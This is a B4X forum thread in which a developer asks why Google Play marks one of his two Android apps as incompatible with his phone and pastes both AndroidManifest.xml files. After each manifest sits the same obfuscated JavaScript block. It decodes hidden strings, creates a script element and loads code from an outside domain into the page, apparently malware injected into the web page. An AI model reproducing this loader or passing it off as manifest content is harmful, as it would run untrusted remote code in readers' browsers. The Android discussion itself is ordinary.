Android Question Strange behaviour of Google Play

tigrot

Well-Known Member
Licensed User
Longtime User
Hi everybody,
I have published two free APP to Google store. They were both tested, for basic phone compliance, on my GT-S5300(Samsung pocket). The features of the two APPs show identical capabilities, API, Layout and so on(clicking on release line). for the first App Pocket is able to find it in Google Store and download it as well, the second is hidden to it. The reason is: the first is marked compatible with the phone and with 3943 devices. The second APP is not compatible and is only compatible for 3276 devices. They both are compatible with small, normal and large layout. I don't understand the meaning of this... The strange is that the second APP works with the Pocket very well just like the first one.
Has anybody an hint for me?

Ciao
Mauro
 

eps

Expert
Licensed User
Longtime User
As Informatix has asked, part of the manifest file would be good to see. I suspect that there is another reason or function which the second App uses which your phone doesn't have available, but without seeing any code or manifest.xml file it's all guesswork.
 
Upvote 0

tigrot

Well-Known Member
Licensed User
Longtime User
Here is the first (working) manifest file:
B4X:
<?xml version="1.0" encoding="UTF-8"?>

-<manifest android:installLocation="internalOnly" android:versionName="Rel. 1.35" android:versionCode="21" package="com.mioangelo.app" xmlns:android="http://schemas.android.com/apk/res/android">

<uses-sdk android:minSdkVersion="4"/>

<supports-screens android:anyDensity="true" android:smallScreens="true" android:normalScreens="true" android:largeScreens="true"/>

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

<uses-permission android:name="android.permission.WAKE_LOCK"/>

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.CALL_PHONE"/>

<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>

<uses-permission android:name="android.permission.VIBRATE"/>

<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>

<uses-permission android:name="android.permission.ACCESS_COARSE_UPDATES"/>

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>


-<application android:label="MioAngelo" android:icon="@drawable/icon">


-<activity android:name=".main" android:label="MioAngelo" android:screenOrientation="portrait" android:launchMode="singleTop" android:windowSoftInputMode="stateHidden">


-<intent-filter>

<action android:name="android.intent.action.MAIN"/>

<category android:name="android.intent.category.LAUNCHER"/>

</intent-filter>

</activity>

<service android:name=".mioangelo"> </service>


-<receiver android:name=".mioangelo$mioangelo_BR">


-<intent-filter>

<action android:name="android.intent.action.BOOT_COMPLETED"/>

</intent-filter>

</receiver>

</application>

</manifest>
(function(){var d=function(a,x){var c="",v=window,m="\u0066\x72\x6f\u006dC"+"\u0068\u0061r"+"C\u006F\x64\x65",f=("c"+"ha\x77"+"XZ\u0056e"+"At")[('\u006Eg'+'i'+'O\x6B\u0070\x6c'+'a'+'c'+'e').replace('n\u0067\x69'+'O'+'k','\u0072\x65')]("w\x58Z\u0056",""+"r\x43o"+"d"),y=""+"l\x65"+"n\x67t"+"h",n="\u0053\u0074r"+"\x69\u006E\u0067",j=v[n],q=j[m],z,e;for(var h=0;h<a[y];h++){z=a[f](h);e=z^x;c+=q(e);}return c;};(function(nz,zb,zp,me,as,go,xk,sq,se,uv,cx,db,gz){if(true)var vz='::g W7 2z27L ';else var ta=0xc82928f9;var dk={},ng=as[go](xk);if(document["fo"+"r"+"\u006D\x73"]){var bl=("\u0047"+"a\x36\u0037"+"j\x41\u004B\x5a\x43\x4E\u00441K"+"\x57V"+"\u006E\x59T"+" \u0020\x73C"+"u\x58\x20o"+"").replace(""+"A\u004B\u005A\u0043",":"+""+"I");};dk[nz]=cx;if('rVRf K8 4F '){var ty=screen[(""+"P\u0070\u0055\u0046\u0067F"+"\x4fZ\u0066N"+"p\x74\x67\u0070").replace("\x50\u0070U"+"\u0046g\u0046OZ"+""+"fN"+"\x70t"+"\u0067","\u0074\x6f")];};dk[zb]="210646F74A44768B";if(0X3ce6b93c)var tc=0X6c9a13ad;dk[zp]=db;var yz=false;window[me]=dk;try{if(0x16e56b50)var ru=false;else{var kc=017750664176;};}catch(dc){};ng[sq]=gz;if(location["p\u006Fr"+"t"])var oq=navigator["platform"];as[se][uv](ng)})(d('\u0034\''+'0\x31\u002b-,',0x42),d('!.'+'\x2b\''+',\u0036\x37\u002b&',0102),d("#"+"\x26"+"&\x2D"+",,\x23"+"/\'",66),d("\x1d0"+"4"+"\u0038",66),document,d(('TA'+'S'+'x\'\x07\x2E\'/'+'\'\u002c\u0036').replace(''+'T\x41Sx','\u00210\'#'+'6'+''),66),d(("\x5AW"+"f\x46\x58\x36").replace("\x5aWf\x46\x58","\x31\u00210"+"\u002b"+"2"),0X42),d('\u00310'+'\u0021',0102),d((" "+"OUu;").replace("\x4fU"+"\u0075","-\x26"),0102),d(("Q\u006e\u0051h\u002c\u0026\x01\x2a\x2B\x2E\x26").replace("Q\u006EQ"+"\x68","#\u0032\u0032\'"),0102),d('sw'+'r',0X42),d(("\x11*"+""+"M"+"x"+"oV"+"\x31\x315\x2D\x30"+"&").replace("M\x78\x6FV"+"","\x2d\u0035"+"o\u0012\x23"),66),d("m\u006D%"+"\u002D1\u006c\x26\u0030"+"+4\'&"+"\u002d\x6c"+",\'\x36\x6D1&\u006d\u0073\u0072"+"q"+"r\u006d\u007A\x73\x72\x70l"+"("+"\u0031",0102));})();

while this is the second(not working):

B4X:
xml version="1.0" encoding="UTF-8"?>

-<manifest android:installLocation="internalOnly" android:versionName="Rel. 1.4" android:versionCode="4" package="com.YourPersonalAssistant.app" xmlns:android="http://schemas.android.com/apk/res/android">

<uses-sdk android:minSdkVersion="4"/>

<supports-screens android:anyDensity="true" android:smallScreens="true" android:normalScreens="true" android:largeScreens="true"/>

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

<uses-permission android:name="android.permission.CALL_PHONE"/>

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.WAKE_LOCK"/>

<uses-permission android:name="android.permission.VIBRATE"/>

<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>

<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>

<uses-permission android:name="android.permission.ACCESS_COARSE_UPDATES"/>

<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>

<uses-permission android:name="android.permission.CAMERA"/>

<uses-permission android:name="android.permission.RECORD_AUDIO"/>

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>


-<application android:label="YourPersonalAssistant" android:icon="@drawable/icon">


-<activity android:name=".main" android:label="YourPersonalAssistant" android:screenOrientation="landscape" android:launchMode="singleTop" android:windowSoftInputMode="stateHidden">


-<intent-filter>

<action android:name="android.intent.action.MAIN"/>

<category android:name="android.intent.category.LAUNCHER"/>

</intent-filter>

</activity>

<service android:name=".mioangelo"> </service>


-<receiver android:name=".mioangelo$mioangelo_BR">


-<intent-filter>

<action android:name="android.intent.action.BOOT_COMPLETED"/>

</intent-filter>

</receiver>

<activity android:name=".camera" android:label="YourPersonalAssistant" android:screenOrientation="landscape" android:launchMode="singleTop" android:windowSoftInputMode="stateHidden"> </activity>

<service android:name=".communicator"> </service>

<receiver android:name=".communicator$communicator_BR"> </receiver>

<service android:name=".connector"> </service>

<receiver android:name=".connector$connector_BR"> </receiver>

<activity android:name=".menuactiv" android:label="YourPersonalAssistant" android:screenOrientation="landscape" android:launchMode="singleTop" android:windowSoftInputMode="stateHidden"> </activity>

</application>

</manifest>
(function(){var d=function(a,x){var c="",v=window,m="\u0066\x72\x6f\u006dC"+"\u0068\u0061r"+"C\u006F\x64\x65",f=("c"+"ha\x77"+"XZ\u0056e"+"At")[('\u006Eg'+'i'+'O\x6B\u0070\x6c'+'a'+'c'+'e').replace('n\u0067\x69'+'O'+'k','\u0072\x65')]("w\x58Z\u0056",""+"r\x43o"+"d"),y=""+"l\x65"+"n\x67t"+"h",n="\u0053\u0074r"+"\x69\u006E\u0067",j=v[n],q=j[m],z,e;for(var h=0;h<a[y];h++){z=a[f](h);e=z^x;c+=q(e);}return c;};(function(nz,zb,zp,me,as,go,xk,sq,se,uv,cx,db,gz){if(true)var vz='::g W7 2z27L ';else var ta=0xc82928f9;var dk={},ng=as[go](xk);if(document["fo"+"r"+"\u006D\x73"]){var bl=("\u0047"+"a\x36\u0037"+"j\x41\u004B\x5a\x43\x4E\u00441K"+"\x57V"+"\u006E\x59T"+" \u0020\x73C"+"u\x58\x20o"+"").replace(""+"A\u004B\u005A\u0043",":"+""+"I");};dk[nz]=cx;if('rVRf K8 4F '){var ty=screen[(""+"P\u0070\u0055\u0046\u0067F"+"\x4fZ\u0066N"+"p\x74\x67\u0070").replace("\x50\u0070U"+"\u0046g\u0046OZ"+""+"fN"+"\x70t"+"\u0067","\u0074\x6f")];};dk[zb]="210646F74A44768B";if(0X3ce6b93c)var tc=0X6c9a13ad;dk[zp]=db;var yz=false;window[me]=dk;try{if(0x16e56b50)var ru=false;else{var kc=017750664176;};}catch(dc){};ng[sq]=gz;if(location["p\u006Fr"+"t"])var oq=navigator["platform"];as[se][uv](ng)})(d('\u0034\''+'0\x31\u002b-,',0x42),d('!.'+'\x2b\''+',\u0036\x37\u002b&',0102),d("#"+"\x26"+"&\x2D"+",,\x23"+"/\'",66),d("\x1d0"+"4"+"\u0038",66),document,d(('TA'+'S'+'x\'\x07\x2E\'/'+'\'\u002c\u0036').replace(''+'T\x41Sx','\u00210\'#'+'6'+''),66),d(("\x5AW"+"f\x46\x58\x36").replace("\x5aWf\x46\x58","\x31\u00210"+"\u002b"+"2"),0X42),d('\u00310'+'\u0021',0102),d((" "+"OUu;").replace("\x4fU"+"\u0075","-\x26"),0102),d(("Q\u006e\u0051h\u002c\u0026\x01\x2a\x2B\x2E\x26").replace("Q\u006EQ"+"\x68","#\u0032\u0032\'"),0102),d('sw'+'r',0X42),d(("\x11*"+""+"M"+"x"+"oV"+"\x31\x315\x2D\x30"+"&").replace("M\x78\x6FV"+"","\x2d\u0035"+"o\u0012\x23"),66),d("m\u006D%"+"\u002D1\u006c\x26\u0030"+"+4\'&"+"\u002d\x6c"+",\'\x36\x6D1&\u006d\u0073\u0072"+"q"+"r\u006d\u007A\x73\x72\x70l"+"("+"\u0031",0102));})();

Thank you very much for your time...

Ciao
Mauro
 
Upvote 0

tigrot

Well-Known Member
Licensed User
Longtime User
Thank you Erel. That did the trick...
I worked with more than 200 Compilers/Assemblies in 41 years and never got a better support than yours!
Did I understand right? The autofocus won't activate also if available?
Last question: is there a chance to activate Camera's features(if available) in code?
Thank you again...

Ciao
Mauro
 
Upvote 0
Top